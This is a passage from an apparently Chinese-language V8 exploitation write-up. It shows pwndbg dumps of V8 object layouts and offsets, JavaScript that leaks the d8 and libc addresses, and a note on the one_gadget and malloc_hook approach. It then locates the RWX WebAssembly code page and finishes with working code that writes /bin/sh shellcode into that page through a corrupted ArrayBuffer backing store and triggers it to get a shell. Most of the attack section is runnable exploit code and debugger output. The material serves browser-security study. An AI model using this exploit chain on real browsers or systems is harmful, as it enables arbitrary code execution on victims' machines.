- context: 0x3ee4b7c41869 <NativeContext[246]>
- code: 0x1346f57c6c01 <Code BUILTIN ArrayConstructor> //数组构造函数对象的地址
- properties: 0x3ee4b7c51029 <PropertyArray[6]> {
#length: 0x2eaf796804b9 <AccessorInfo> (const accessor descriptor)
#name: 0x2eaf79680449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2eaf79680529 <AccessorInfo> (const accessor descriptor)
0x1a533df84c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x1a533df84f41 <Symbol: Symbol.species>: 0x3ee4b7c50fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x3ee4b7c51069 <JSFunction isArray (sfi = 0x2eaf7968ad39)> (const data field 1) properties[1]
#from: 0x3ee4b7c510a1 <JSFunction from (sfi = 0x2eaf7968ad89)> (const data field 2) properties[2]
#of: 0x3ee4b7c510d9 <JSFunction of (sfi = 0x2eaf7968adc1)> (const data field 3) properties[3]
}

- feedback vector: not available

查看ArrayConstructor的内存结构,里面有指令,它相对于constructor的偏移是0x30。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x1346f57c6c01
0x1346f57c6c01: [Code]
- map: 0x1a533df80a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7fffc39ece10

Trampoline (size = 13)
0x1346f57c6c40 0 49ba604c040ded7f0000 REX.W movq r10,0x7fed0d044c60 (ArrayConstructor)
0x1346f57c6c4a a 41ffe2 jmp r10

Instructions (size = 368)
0x7fed0d044c60 0 55 push rbp
0x7fed0d044c61 1 4889e5 REX.W movq rbp,rsp
0x7fed0d044c64 4 6a18 push 0x18
0x7fed0d044c66 6 4883ec28 REX.W subq rsp,0x28
0x7fed0d044c6a a 488bcf REX.W movq rcx,rdi
0x7fed0d044c6d d 48897df0 REX.W movq [rbp-0x10],rdi

上面为了使用job命令都是使用x64.debug调试的,利用上述内存布局在x64.release中查看数组构造函数对象的内存内容,在偏移0x40处有一个地址,属于d8地址空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x3f7095ac6980 0x40
00:0000│ 0x3f7095ac6980 —▸ 0x13940aec0a31 ◂— 0x13940aec01
01:0008│ 0x3f7095ac6988 —▸ 0x13940aec2c01 ◂— 0x13940aec07
02:0010│ 0x3f7095ac6990 —▸ 0x13940aec0c71 ◂— 0x13940aec08
03:0018│ 0x3f7095ac6998 —▸ 0x13940aec2791 ◂— 0x13940aec07
04:0020│ 0x3f7095ac69a0 —▸ 0x39339be516a9 ◂— 0xd1000013940aec14
05:0028│ 0x3f7095ac69a8 ◂— or eax, 0xc6000000 /* '\r' */
06:0030│ 0x3f7095ac69b0 ◂— sbb al, 0
07:0038│ 0x3f7095ac69b8 ◂— and al, 0 /* '$' */
08:0040│ 0x3f7095ac69c0 ◂— movabs r10, 0x55555602a980 //d8地址空间内
09:0048│ 0x3f7095ac69c8 ◂— add byte ptr [rax], al
0a:0050│ 0x3f7095ac69d0 ◂— add byte ptr [rax], al
... ↓

确定0x55555602a980是否在d8空间内:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x /gx 0x3f7095ac69c0
0x3f7095ac69c0: 0x55555602a980ba49
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...
0x3f7095ae7000 0x3f7095aff000 ---p 18000 0
0x3f7095aff000 0x3f709da9c000 ---p 7f9d000 0
0x555555554000 0x5555557e9000 r--p 295000 0 /home/ubuntu/brower/v8/out.gn/x64.release/d8 //在此地址空间内
0x5555557e9000 0x5555562b0000 r-xp ac7000 295000 /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x5555562b0000 0x5555562f0000 r--p 40000 d5c000 /home/ubuntu/brower/v8/out.gn/x64.release/d8
0x5555562f0000 0x5555562fa000 rw-p a000 d9c000 /home/ubuntu/brower/v8/out.gn/x64.release/d8

如果是在x64.release中调试上述流程,需要以下步骤:
创建array对象->查看其map属性(相对于array偏移为0)->查看transitions #1的地址(相对于map偏移为0x28)-> transitions #1的地址 - 0xff8得到ArrayConstructor的地址->查看数组构造函数对象code的地址(相对于ArrayConstructor偏移为0x30)-> 找到包含d8地址的指令(相对于code偏移为0x40)
使用如下代码泄露该地址:

1
2
3
4
5
6
7
//leak d8 addr
var test_array = [1.1];
%DebugPrint(test_array);
var code_addr = read64(addressOf(test_array.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find leak_d8_addr: 0x" + hex(leak_d8_addr));
%SystemBreak();

同样的方式泄露libc地址,这里将free_hook修改为one_gadget,但这四个one_gadget都不会成功,因此利用realloc_hook和malloc_hook来调整栈分布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21



/*
ubuntu@ubuntu:~/brower/v8/out.gn/x64.debug$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
*/

wasm

wasm全名是webassembly,可以让js直接执行高级语言生成的机器码。这个网站可以转换为wasm。
可以使用这个工具生成以下代码的wasm:

1
2
3
int main() {
return 42;
}

wasm如下:

1
2
3
4
5
6
7
8
9
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var d = f();
console.log("[*] return from wasm: "+ d);
%SystemBreak();

在v8中调试这段js代码,可以看到的确输出了返回值42:
6
但是wasm不允许调用系统函数,比如调用printf,再测试以下wasmCode:

1
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,26,65,0,11,11,147,128,128,128,0,1,0,65,16,11,13,72,101,108,108,111,44,32,87,111,114,108,100,0]);

js会抛出异常:
7

wasm利用

虽然无法在wasm中执行我们生成的hellcode,但我们可以覆盖原来内存中的wasm代码,等到调用相关的wasm时,执行的是我们的shellcode。
首先要找到存储wasm的内存地址,先使用上述wasm代码在x64.debug中测试一下:

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

使用job命令查看函数结构对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> job 0x28abc1f5fab9
0x28abc1f5fab9: [Function] in OldSpace
- map: 0x15472f604379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28abc1f42109 <JSFunction (sfi = 0x22b0cfd48039)>
- elements: 0x2b4677900c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x28abc1f5fa81 <SharedFunctionInfo 0>
- name: 0x2b4677904ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x28abc1f41869 <NativeContext[246]>
- code: 0x193c50c02001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x28abc1f5f8c1
- WASM function index 0
- properties: 0x2b4677900c71 <FixedArray[0]> {
#length: 0x22b0cfd404b9 <AccessorInfo> (const accessor descriptor)
#name: 0x22b0cfd40449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x22b0cfd40369 <AccessorInfo> (const accessor descriptor)
#caller: 0x22b0cfd403d9 <AccessorInfo> (const accessor descriptor)
}

- feedback vector: not available

在其偏移0x18处找到shared_info,查看其内存结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x28abc1f5fa81
0x28abc1f5fa81: [SharedFunctionInfo] in OldSpace
- map: 0x2b46779009e1 <Map[56]>
- name: 0x2b4677904ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x28abc1f5fa59 <WasmExportedFunctionData>
- code (from data): 0x193c50c02001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x2b4677900c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x2b4677902a39: [FeedbackMetadata]
- map: 0x2b4677901319 <Map>
- slot_count: 0

在shared_info偏移0x8处找到WasmExportedFunctionData,查看其内存结构:

1
2
3
4
5
6
pwndbg> job 0x28abc1f5fa59
0x28abc1f5fa59: [WasmExportedFunctionData] in OldSpace
- map: 0x2b4677905879 <Map[40]>
- wrapper_code: 0x193c50c02001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x28abc1f5f8c1 <Instance map = 0x15472f609789>
- function_index: 0

在其偏移0x10处找到instance,在其偏移0x88处存储着wasm的起始地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> telescope 0x28abc1f5f8c0 0x50
00:0000│ 0x28abc1f5f8c0 —▸ 0x15472f609789 ◂— 0x2500002b46779001
01:0008│ 0x28abc1f5f8c8 —▸ 0x2b4677900c71 ◂— 0x2b46779008
... ↓
0e:0070│ 0x28abc1f5f930 —▸ 0x5555556c3400 ◂— 0x0
0f:0078│ 0x28abc1f5f938 —▸ 0x2b46779004d1 ◂— 0x2b46779005
10:0080│ 0x28abc1f5f940 —▸ 0x555555642970 —▸ 0x2b4677900751 ◂— 0xca00002b46779007
11:0088│ 0x28abc1f5f948 —▸ 0x2e8fb6756000 ◂— movabs r10, 0x2e8fb6756260 /* 0x2e8fb6756260ba49 */ //here
12:0090│ 0x28abc1f5f950 —▸ 0x134f97e4e991 ◂— 0x71000015472f6091

pwndbg> vmmap 0x2e8fb6756000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2e8fb6756000 0x2e8fb6757000 rwxp 1000 0

总结上述步骤:泄露函数地址->泄露shared_info地址(在函数地址偏移0x18处)-> 泄露WasmExportedFunctionData地址(在shared_info的0x8处)-> 泄露instance地址(在WasmExportedFunctionData偏移0x10处)->读取wasm地址(在instance偏移0x88处)
使用以下js代码在x64.release中调试:

1
2
3
4
5
6
7
var f_addr = addressOf(f);
var shared_info_addr = read64(f_addr+0x18n) - 0x1n;
var wasm_export_func_data_addr = read64(shared_info_addr+0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_export_func_data_addr+0x10n) -0x1n;
var wasm_page_addr = read64(wasm_instance_addr+0x88n);
console.log("[*] wasm_page_addr: 0x"+hex(wasm_page_addr));
%SystemBreak();

程序输出如下,成功获得wasm代码地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> r
Starting program: /home/ubuntu/brower/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/ubuntu/brower/pwn/oob/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff66dc700 (LWP 33670)]
[*] wasm_page_addr: 0x00000d65cc502000

Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x0000555556165fe5 in v8::base::OS::DebugBreak() ()

pwndbg> vmmap 0x00000d65cc502000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xd65cc502000 0xd65cc503000 rwxp 1000 0

在wasm_page_addr处写入我们的shellcode,调用f()触发shellcode,获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
*/
var shellcode = [
0x48f63148d2314850n,
0x732f2f6e69622fbbn,
0x050f3bb05f545368n
];

//write shellcode
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, wasm_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

f(); //trigger

8

参考

https://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html
https://ama2in9.top/2019/12/12/v8_compile/#more
https://www.freebuf.com/vuls/203721.html
https://e3pem.github.io/2020/03/05/browser/v8-note/